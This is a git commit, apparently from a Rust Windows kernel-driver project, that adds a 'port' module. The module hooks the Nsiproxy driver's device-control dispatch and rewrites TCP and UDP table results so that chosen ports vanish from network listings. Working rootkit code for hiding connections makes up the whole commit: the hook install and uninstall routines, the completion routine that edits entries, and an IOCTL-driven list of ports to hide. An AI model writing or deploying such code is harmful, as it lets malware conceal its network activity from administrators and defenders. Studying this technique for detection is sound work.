feat(driver): adding new port module

This commit is contained in:
joaoviictorti
2024-09-26 21:27:26 -03:00
parent 32f8d73a6d
commit acec7aeed2
3 changed files with 527 additions and 0 deletions

28
driver/src/port/ioctls.rs Normal file
View File

@@ -0,0 +1,28 @@
use {
alloc::boxed::Box,
hashbrown::HashMap,
wdk_sys::{IO_STACK_LOCATION, IRP},
super::port::add_remove_port_toggle,
crate::{utils::ioctls::IoctlHandler, handle},
shared::{ioctls::IOCTL_PORT, structs::PortInfo},
};
/// Registers the IOCTL handlers for port-related operations.
///
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
/// their respective IOCTL codes. The two operations supported are:
///
/// # Parameters
///
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the port-related
/// IOCTL handlers will be inserted.
///
pub fn get_port_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Responsible for hide/unhide Port.
ioctls.insert(IOCTL_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
let status = unsafe { handle!(stack, add_remove_port_toggle, PortInfo) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
}

410
driver/src/port/mod.rs Normal file
View File

@@ -0,0 +1,410 @@
use {
shared::{
enums::{PortType, Protocol},
structs::PortInfo
},
wdk_sys::{
*,
_MODE::KernelMode,
ntddk::{ExFreePool, ObfDereferenceObject, ProbeForRead},
},
core::{
ptr::{null_mut, copy},
sync::atomic::{AtomicPtr, Ordering, AtomicBool},
ffi::c_void, mem::size_of, slice::from_raw_parts_mut,
},
crate::{
internals::{
enums::COMUNICATION_TYPE,
externs::{ObReferenceObjectByName, IoDriverObjectType},
structs::{
NSI_UDP_ENTRY, NSI_PARAM, NSI_TABLE_TCP_ENTRY,
NSI_STATUS_ENTRY, NSI_PROCESS_ENTRY
}
},
utils::{
pool::PoolMemory, uni::str_to_unicode,
valid_kernel_memory, valid_user_memory,
}
},
};
pub mod port;
pub mod ioctls;
/// Holds the original NSI dispatch function, used to store the original pointer before hooking.
static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut());
/// Indicates whether the callback has been activated.
pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false);
/// Represents a Port structure used for hooking into the NSI proxy driver and intercepting network information.
pub struct Port;
impl Port {
/// Control code for the NSI communication.
const NIS_CONTROL_CODE: u32 = 1179675;
/// Network driver name.
const NSI_PROXY: &str = "\\Driver\\Nsiproxy";
/// Installs a hook into the NSI proxy driver, replacing the original dispatch function.
///
/// This function hooks into the NSI proxy driver by replacing the `IRP_MJ_DEVICE_CONTROL`
/// dispatch function with `hook_nsi`. It stores the original dispatch function in a static
/// atomic pointer so that it can be called later.
///
/// # Returns
///
/// - `Ok(())`: If the hook was installed successfully.
/// - `Err(NTSTATUS)`: If the function fails to reference the NSI proxy driver object or
/// if no original function is found in the `IRP_MJ_DEVICE_CONTROL` dispatch table.
///
pub unsafe fn install_hook() -> Result<(), NTSTATUS> {
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
let status = ObReferenceObjectByName(
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
OBJ_CASE_INSENSITIVE,
null_mut(),
0,
*IoDriverObjectType,
KernelMode as i8,
null_mut(),
&mut driver_object as *mut _ as *mut *mut core::ffi::c_void
);
if !NT_SUCCESS(status) {
log::error!("ObReferenceObjectByName Failed With Status: {:?}", status);
return Err(status)
}
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
if let Some(original_function) = major_function.take() {
let original_function_ptr = original_function as *mut ();
ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst);
*major_function = Some(Self::hook_nsi);
HOOK_INSTALLED.store(true, Ordering::SeqCst);
} else {
log::error!("No original function found in MajorFunction[IRP_MJ_DEVICE_CONTROL]");
ObfDereferenceObject(driver_object as _);
return Err(STATUS_UNSUCCESSFUL);
}
ObfDereferenceObject(driver_object as _);
Ok(())
}
/// Uninstalls the NSI hook previously installed in the driver.
///
/// This function safely uninstalls the hook from the NSI proxy driver, which was originally
/// installed to intercept and modify network table entries. The function ensures that the
/// original dispatch function is restored and any remaining hooks or operations are cleaned
/// up before the driver is unloaded.
///
/// # Returns
///
/// - `STATUS_SUCCESS`: If the hook was successfully uninstalled.
/// - `STATUS_UNSUCCESSFUL`: If the hook was not installed or the uninstall operation failed.
///
pub unsafe fn uninstall_hook() -> NTSTATUS {
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
let status = ObReferenceObjectByName(
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
OBJ_CASE_INSENSITIVE,
null_mut(),
0,
*IoDriverObjectType,
KernelMode as i8,
null_mut(),
&mut driver_object as *mut _ as *mut *mut core::ffi::c_void,
);
if !NT_SUCCESS(status) {
log::error!("ObReferenceObjectByName Failed With Status: {:?}", status);
return status;
}
if HOOK_INSTALLED.load(Ordering::SeqCst) {
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
if !original_function_ptr.is_null() {
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
*major_function = original_function;
HOOK_INSTALLED.store(false, Ordering::SeqCst);
} else {
log::error!("Original NSI Dispatch function not found in ORIGINAL_NSI_DISPATCH");
ObfDereferenceObject(driver_object as _);
return STATUS_UNSUCCESSFUL;
}
} else {
log::warn!("Hook is not installed, cannot uninstall.");
ObfDereferenceObject(driver_object as _);
return STATUS_UNSUCCESSFUL;
}
ObfDereferenceObject(driver_object as _);
STATUS_SUCCESS
}
/// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries.
///
/// This function is called when an IRP (I/O Request Packet) is sent to the NSI proxy driver
/// and the control code matches `NIS_CONTROL_CODE`. It intercepts TCP and UDP entries,
/// allowing modification of network data, such as filtering specific ports.
///
/// # Parameters
///
/// - `device_object`: A pointer to the device object.
/// - `irp`: A pointer to the IRP (I/O Request Packet).
///
/// # Returns
///
/// - `NTSTATUS`: The result of the original dispatch function or `STATUS_UNSUCCESSFUL` if the hook fails.
///
unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
if control_code == Self::NIS_CONTROL_CODE {
let context = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, 0x444E4954);
match context {
Some(addr) => {
let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
(*address).0 = (*stack).CompletionRoutine;
(*address).1 = (*stack).Context;
(*stack).Context = address as *mut c_void;
(*stack).CompletionRoutine = Some(Self::irp_complete);
(*stack).Control |= SL_INVOKE_ON_SUCCESS as u8;
// Disabling Drop
core::mem::forget(addr);
},
None => {}
}
}
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
return original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp));
}
/// Completion routine for IRP that modifies network entries in the NSI tables.
///
/// This function is called after the original completion routine is invoked. It inspects the network
/// table entries (TCP or UDP) and can remove or modify entries based on certain conditions (e.g., port filtering).
///
/// # Parameters
///
/// - `device_object`: A pointer to the device object.
/// - `irp`: A pointer to the IRP (I/O Request Packet).
/// - `context`: A pointer to the context passed from the `hook_nsi` function.
///
/// # Returns
///
/// - `NTSTATUS`: The result of the original completion routine or `STATUS_SUCCESS` if successful.
///
unsafe extern "C" fn irp_complete(device_object: *mut DEVICE_OBJECT, irp: *mut IRP, context: *mut c_void) -> NTSTATUS {
let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) {
let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM;
let mut status_success = true;
if !valid_user_memory(nsi_param as u64) && !NetworkUtils::validate_context(nsi_param as _) {
status_success = false;
} else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() {
status_success = false;
}
if status_success && !(*nsi_param).entries.is_null() && (*nsi_param).entry_size != 0 {
let tcp_entries = (*nsi_param).entries as *mut NSI_TABLE_TCP_ENTRY;
let udp_entries = (*nsi_param).entries as *mut NSI_UDP_ENTRY;
let entries = (*nsi_param).entries;
for i in 0..(*nsi_param).count {
match (*nsi_param).type_ {
COMUNICATION_TYPE::TCP => {
if valid_user_memory((*tcp_entries.add(i)).local.port as u64) || valid_user_memory((*tcp_entries.add(i)).remote.port as u64) {
let local_port = u16::from_be((*tcp_entries.add(i)).local.port);
let remote_port = u16::from_be((*tcp_entries.add(i)).remote.port);
NetworkUtils::process_entry_copy(
tcp_entries,
(*nsi_param).count as usize,
i,
local_port,
Some(remote_port),
Protocol::TCP,
(*nsi_param).status_entries,
(*nsi_param).process_entries,
nsi_param,
);
}
},
COMUNICATION_TYPE::UDP => {
if valid_user_memory((*udp_entries.add(i)).port as u64) {
let local_port = u16::from_be((*udp_entries.add(i)).port);
NetworkUtils::process_entry_copy(
udp_entries,
(*nsi_param).count as usize,
i,
local_port,
None,
Protocol::UDP,
(*nsi_param).status_entries,
(*nsi_param).process_entries,
nsi_param,
);
}
}
}
}
}
}
if let Some(original_routine) = (*context_addr).0 {
let mut original_context = null_mut();
if !(*context_addr).1.is_null() {
original_context = (*context_addr).1;
}
ExFreePool(context as *mut _);
return original_routine(device_object, irp, original_context);
}
ExFreePool(context as *mut _);
STATUS_SUCCESS
}
}
/// Utility struct for network-related operations, such as validating memory and handling NSI table entries.
pub struct NetworkUtils;
impl NetworkUtils {
/// Validates a memory address to ensure it can be safely accessed from kernel mode.
///
/// This function uses `ProbeForRead` to check whether a memory address is valid and accessible.
/// It wraps the operation in a Structured Exception Handling (SEH) block to catch and log any exceptions.
///
/// # Parameters
///
/// - `address`: The memory address to validate.
///
/// # Returns
///
/// - `true`: If the address is valid and accessible.
/// - `false`: If an exception occurs while probing the address.
///
unsafe fn validate_context(address: *mut c_void) -> bool {
let result = microseh::try_seh(|| {
ProbeForRead(address, size_of::<NSI_PARAM>() as u64, size_of::<NSI_PARAM>() as u32);
});
match result {
Ok(_) => true,
Err(err) => {
log::error!("Exception when trying to read the address: {:?}", err.code());
false
}
}
}
/// Copies network table entries (TCP/UDP) from one index to another and updates associated status
/// and process entries if necessary.
///
/// This function is used to modify NSI (Network Store Interface) table entries during a network
/// hook operation. It copies TCP/UDP entries, status entries, and process entries, effectively
/// "hiding" specific network ports.
///
/// # Parameters
///
/// - `entries`: A pointer to the list of TCP or UDP entries.
/// - `count`: The total number of entries in the table.
/// - `i`: The index of the current entry being processed.
/// - `port`: The port number associated with the current entry.
/// - `status_entries`: A pointer to the list of status entries associated with the network connections.
/// - `process_entries`: A pointer to the list of process entries associated with the network connections.
/// - `nsi_param`: A pointer to the `NSI_PARAM` structure, containing information about the network table.
///
unsafe fn process_entry_copy<T: Sized>(
entries: *mut T,
count: usize,
i: usize,
local_port: u16,
remote_port: Option<u16>,
protocol: Protocol,
status_entries: *mut NSI_STATUS_ENTRY,
process_entries: *mut NSI_PROCESS_ENTRY,
nsi_param: *mut NSI_PARAM
) {
let port_number = match (local_port, remote_port) {
// If the local port is zero and the remote port is Some(value)
(0, Some(remote)) if remote != 0 => remote,
// If the remote port is not defined or is also zero, use the local one
(local, _) if local != 0 => local,
// If both are zero, this can be treated as an invalid condition
_ => {
log::warn!("Both doors are zero, there is no way to process the entrance.");
return;
}
};
let port_type = if remote_port.unwrap_or(0) != 0 {
PortType::REMOTE
} else {
PortType::LOCAL
};
let info = PortInfo {
protocol,
port_type,
port_number,
enable: true,
};
if port::check_port(info) {
let mut entries_index = i + 1;
if entries_index >= count {
entries_index = i - 1;
}
// Copies TCP/UDP entries.
let entries_slice = from_raw_parts_mut(entries, count);
copy(
&entries_slice[entries_index],
&mut entries_slice[i],
count - entries_index,
);
// Verify and copy status_entries.
if !status_entries.is_null() {
let status_entries_slice = from_raw_parts_mut(status_entries, count);
if entries_index < status_entries_slice.len() {
copy(
&status_entries_slice[entries_index],
&mut status_entries_slice[i],
count - entries_index,
);
}
}
// Check and copy process_entries.
if !process_entries.is_null() {
let process_entries_slice = from_raw_parts_mut(process_entries, count);
if entries_index < process_entries_slice.len() {
copy(
&process_entries_slice[entries_index],
&mut process_entries_slice[i],
count - entries_index,
);
}
}
}
}
}

89
driver/src/port/port.rs Normal file
View File

@@ -0,0 +1,89 @@
use alloc::vec::Vec;
use spin::{Mutex, lazy::Lazy};
use shared::{
vars::MAX_PORT,
structs::PortInfo
};
use wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL};
/// List of protected ports, synchronized with a mutex.
pub static PROTECTED_PORTS: Lazy<Mutex<Vec<PortInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PORT)));
/// Method to toggle the addition or removal of a port from the list of protected ports.
///
/// # Parameters
///
/// - `port`: `PortInfo` structure with information about the port to be added or removed.
///
/// # Returns
///
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
///
pub fn add_remove_port_toggle(port: *mut PortInfo) -> NTSTATUS {
if (unsafe { *port }).enable {
add_target_port(port)
} else {
remove_target_port(port)
}
}
/// Method to add a port to the list of protected ports.
///
/// # Parameters
///
/// - `port`: `PortInfo` structure with information about the port to be protected.
///
/// # Returns
///
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
///
fn add_target_port(port: *mut PortInfo) -> NTSTATUS {
let mut ports = PROTECTED_PORTS.lock();
let port = unsafe { *port };
if ports.len() >= 100 {
log::error!("Port list is full");
return STATUS_UNSUCCESSFUL;
}
if ports.contains(&port) {
log::warn!("Port {:?} already exists in the list", port);
return STATUS_DUPLICATE_OBJECTID;
}
ports.push(port);
STATUS_SUCCESS
}
/// Method to remove a port from the list of protected ports.
///
/// # Parameters
///
/// - `port`: `PortInfo` structure with information about the port to be removed.
///
/// # Returns
///
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
///
fn remove_target_port(port: *mut PortInfo) -> NTSTATUS {
let mut ports = PROTECTED_PORTS.lock();
(unsafe { *port }).enable = true;
if let Some(index) = ports.iter().position(|&p| p == unsafe { *port }) {
ports.remove(index);
STATUS_SUCCESS
} else {
log::error!("Port {:?} not found in the list", port);
STATUS_UNSUCCESSFUL
}
}
///
///
///
///
///
pub fn check_port(port: PortInfo) -> bool {
PROTECTED_PORTS.lock().contains(&port)
}